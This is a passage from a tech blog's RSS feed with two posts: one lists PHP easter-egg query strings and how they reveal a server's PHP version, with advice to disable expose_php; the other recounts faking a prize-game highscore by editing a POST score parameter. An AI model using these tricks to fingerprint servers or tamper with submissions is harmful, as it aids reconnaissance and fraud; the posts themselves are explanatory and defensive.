		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP Easter Egg</title>
		<link>http://abeontech.com/273-mixed-php-easter-egg</link>
		<comments>http://abeontech.com/273-mixed-php-easter-egg#comments</comments>
		<pubDate>Thu, 23 Oct 2008 18:20:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Mixed]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.abeontech.com/?p=273</guid>
		<description><![CDATA[If you add the code...
?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
to the end of any URL that is a PHP page, you will see a funny picture on most servers. Also on April 1st (April Fool's Day), the picture will replace the PHP logo on any phpinfo() page. If the PHP directive expose_php is set to be "off" in php.ini, then the PHP eggs will not show, but it is "on" by default, and many webhosting servers do not change it.]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s nice to see the developers of PHP had some fun while they worked.<br />
If you add the code&#8230;</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">?<span style="color: #339933;">=</span>PHPE9568F36<span style="color: #339933;">-</span>D428<span style="color: #339933;">-</span>11d2<span style="color: #339933;">-</span>A769<span style="color: #339933;">-</span>00AA001ACF42</div></div>
<p>to the end of any URL that is a PHP page, you will see a funny picture on most servers. Also on April 1st (April Fool&#8217;s Day), the picture will replace the PHP logo on any phpinfo() page. If the PHP directive expose_php is set to be &#8220;off&#8221; in php.ini, then the PHP eggs will not show, but it is &#8220;on&#8221; by default, and many webhosting servers do not change it.</p>
<p><span id="more-273"></span></p>
<p>If you see such a URL in your website logs, it may be because someone is trying to determine if your server is running PHP and attempting to discover weaknesses in your system. By setting expose_php = off in the php.ini configuration file, you will reduce the amount of information available to them. If the PHP easteregg is active (the URL shows the image), then scanning the website with Nitko web server scanner will give the warning message, &#8220;<strong>PHP reveals potentially sensitive information via certain HTTP requests which contain specific QUERY strings</strong>.&#8221;</p>
<p>These are the four QUERY strings you can add to the end of a PHP web page to view a (somewhat) hidden image or web page:</p>
<p>(1)</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">?<span style="color: #339933;">=</span>PHPE9568F36<span style="color: #339933;">-</span>D428<span style="color: #339933;">-</span>11d2<span style="color: #339933;">-</span>A769<span style="color: #339933;">-</span>00AA001ACF42</div></div>
<p>This one is the most interesting, and displays an &#8220;easter egg&#8221; image of either a rabbit in a house, a brown dog in the grass, a black Scottish Terrier dog, a sloppy child-crayon-colored php logo, or a guy with breadsticks (looks like pencils or french fries) sticking out of his mouth like a walrus. The original dog was Stig Bakken&#8217;s (Stig is one of the PHP developers); the newer dog is <a href="http://www.suraski.net/blog/index.php?/archives/6-Scotch-is-gone.html">Zeev Suraski&#8217;s</a> dog (the link goes to his blog entry about the dog, called Scotch or Scottie, that died August 30, 2005); and the guy is Thies Arntzen (the logo image was taken from a picture from the PHP Developers&#8217; Meeting that the PHP Group held in January 2000). The five images are shown below. Anyone know whose rabbit it is, or more details on these? The black dog, colored logo, and rabbit pictures are 10 pixels shorter than the other two images.</p>
<p><img src="http://i38.tinypic.com/2v1vo5s.jpg" alt="PHP Easter Egg" /></p>
<p>(2)</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">?<span style="color: #339933;">=</span>PHPE9568F34<span style="color: #339933;">-</span>D428<span style="color: #339933;">-</span>11d2<span style="color: #339933;">-</span>A769<span style="color: #339933;">-</span>00AA001ACF42</div></div>
<p>This is used by the phpinfo function to display the PHP logo, but works on other PHP pages.</p>
<p><img src="http://i37.tinypic.com/mta004.jpg" alt="PHP Easter Egg 2" /></p>
<p>(3)</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">?<span style="color: #339933;">=</span>PHPE9568F35<span style="color: #339933;">-</span>D428<span style="color: #339933;">-</span>11d2<span style="color: #339933;">-</span>A769<span style="color: #339933;">-</span>00AA001ACF42</div></div>
<p>This is used by the phpinfo() function to display the Zend logo, but also works on other PHP-parsed pages.</p>
<p><img src="http://i38.tinypic.com/mufmtf.jpg" alt="PHP Easter Egg 3" /></p>
<p>(4)</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">?<span style="color: #339933;">=</span>PHPB8B5F2A0<span style="color: #339933;">-</span>3C92<span style="color: #339933;">-</span>11d3<span style="color: #339933;">-</span>A3A9<span style="color: #339933;">-</span>4C7B08C10000</div></div>
<p>This displays the PHP development credits, and is linked to from any phpinfo() page with text &#8220;PHP Credits&#8221;.</p>
<p>The only truly hidden image is the first one above. The other three are called from the web page produced by the phpinfo() function.</p>
<p>For the first code above, other online sources claim it displays a rabbit in PHP versions 5.0 and 5.01, a dog in 4.3.0 and higher (below 5.0), and the funny PHP coder guy in PHP versions 4.0 through 4.2.3. Below are the images I saw for these PHP versions:</p>
<p><strong>PHPCODER GUY WITH BREADSTICKS (Thies C. Arntzen):</strong><br />
PHP Version 4.0.1pl2<br />
PHP Version 4.1.2 *<br />
PHP Version 4.2.2 *</p>
<p><strong>BROWN DOG IN GRASS:</strong><br />
PHP4u Version 3.0, Based on PHP-4.3.2<br />
PHP Version 4.3.2<br />
PHP Version 4.3.3<br />
PHP Version 4.3.8<br />
PHP Version 4.3.9<br />
PHP Version 4.3.10</p>
<p><strong>BLACK SCOTTISH TERRIER DOG:</strong><br />
PHP Version 4.3.11<br />
PHP Version 4.4.0<br />
PHP Version 4.4.1<br />
PHP Version 4.4.2<br />
PHP Version 4.4.3<br />
PHP Version 4.4.4<br />
PHP Version 5.0.5-2ubuntu1.1<br />
PHP Version 5.0.5-pl3-gentoo<br />
PHP Version 5.1.0<br />
PHP Version 5.1.2</p>
<p><strong>RABBIT:</strong><br />
PHP Version 4.3.1 *<br />
PHP Version 5.0.0 *<br />
PHP Version 5.0.3 *</p>
<p><strong>COLORED PHP LOGO:</strong><br />
PHP Version 5.1.4<br />
PHP Version 5.2.0</p>
<p>The first code above, ?=PHPE9568F36-D428-11d2-A769-00AA001ACF42, is returned by the hidden function (undocumented in the php.net online manual) php_egg_logo_guid(). PHP_EGG_LOGO_GUID is defined as a preprocessor macro in php-src/ext/standard/info.h, line 54, and referenced in 3 files:</p>
<p>php-src/ext/standard/info.c (lines 988 and 1032)<br />
php-src/ext/standard/info.h (line 54)<br />
php-src/main/php_logos.c (line 59).</p>
<p>Below are the four codes&#8217; definitions in the php source within php-source/ext/standard/info.h (lines 53 to 56):</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:500px;"><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">#define PHP_LOGO_GUID &quot;PHPE9568F34-D428-11d2-A769-00AA001ACF42&quot;<br />
</span><span style="color: #666666; font-style: italic;">#define PHP_EGG_LOGO_GUID &quot;PHPE9568F36-D428-11d2-A769-00AA001ACF42&quot;<br />
</span><span style="color: #666666; font-style: italic;">#define ZEND_LOGO_GUID &quot;PHPE9568F35-D428-11d2-A769-00AA001ACF42&quot;<br />
</span><span style="color: #666666; font-style: italic;">#define PHP_CREDITS_GUID &quot;PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000&quot;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/273-mixed-php-easter-egg/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Flash Game Hacked?</title>
		<link>http://abeontech.com/81-security-flash-game-hacked</link>
		<comments>http://abeontech.com/81-security-flash-game-hacked#comments</comments>
		<pubDate>Wed, 10 Sep 2008 19:09:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.abeontech.com/?p=81</guid>
		<description><![CDATA[A friend of mine just sent me the URL to a flash game (for obvious reasons I will not share the link) which is part of a number of games with a price of 10.000 EUR in the end. One would believe that a game with such a price money is secure.]]></description>
			<content:encoded><![CDATA[<p>A friend of mine just sent me the URL to a flash game (for obvious reasons I will not share the link) which is part of a number of games with a price of 10.000 EUR in the end. One would believe that a game with such a price money is secure. Especially when the organising party is an internet provider.</p>
<p><span id="more-81"></span></p>
<p>But guess what&#8230; At the end of the flash game you can optionally submit your score to the highscore server, which results in a POST to the file submithigh.php with several parameters, one parameter saying score=XXXX. And of course you can submit whatever score you want. So now I lead the highscore with 10000 of about 900 possible points. I set it that high to ensure that the guys at the ISP will realize that this is faked, but imagine I had just increased the current highscore by 10. I seriously doubt anyone would have noticed and I would have won the competition without even decompiling the flash.</p>
<p>[ Original Post From <a href="http://blog.php-security.org/archives/95-Flash-Game-10000-of-900-possible-points!!.html" title="PHP Security">php-security.org</a> ]</p>
<p>======<br />
Even simple mistakes can cause a lot of trouble.<br />
Think if all the top scores on every game game were hacked to show obscene comments!<br />
It&#8217;s best to try and think like a hacker when creating public content <img src='http://abeontech.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://abeontech.com/81-security-flash-game-hacked/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

